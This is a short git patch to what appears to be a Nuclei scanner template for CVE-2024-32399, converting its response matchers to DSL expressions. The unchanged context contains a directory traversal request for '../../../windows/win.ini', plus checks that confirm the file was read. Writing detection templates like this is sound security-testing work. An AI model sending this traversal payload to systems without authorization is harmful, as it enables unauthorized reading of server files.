From 5511b4e60dbabb339955d1f210677813ae8781b0 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 25 Apr 2024 16:42:54 +0530 Subject: [PATCH] updated to dsl --- http/cves/2024/CVE-2024-32399.yaml | 21 ++++++--------------- 1 file changed, 6 insertions(+), 15 deletions(-) diff --git a/http/cves/2024/CVE-2024-32399.yaml b/http/cves/2024/CVE-2024-32399.yaml index f609a5b4cd..acf2f9de60 100644 --- a/http/cves/2024/CVE-2024-32399.yaml +++ b/http/cves/2024/CVE-2024-32399.yaml @@ -26,19 +26,10 @@ requests: path: - "{{BaseURL}}/webeditor/../../../windows/win.ini" - matchers-condition: and matchers: - - type: word - words: - - "[fonts]" - - "for 16-bit app support" - part: body - - - type: word - part: header - words: - - "application/octet-stream" - - - type: status - status: - - 200 + - type: dsl + dsl: + - 'contains_all(body, "[fonts]", "for 16-bit app support")' + - 'contains(header, "application/octet-stream")' + - 'status_code == 200' + condition: and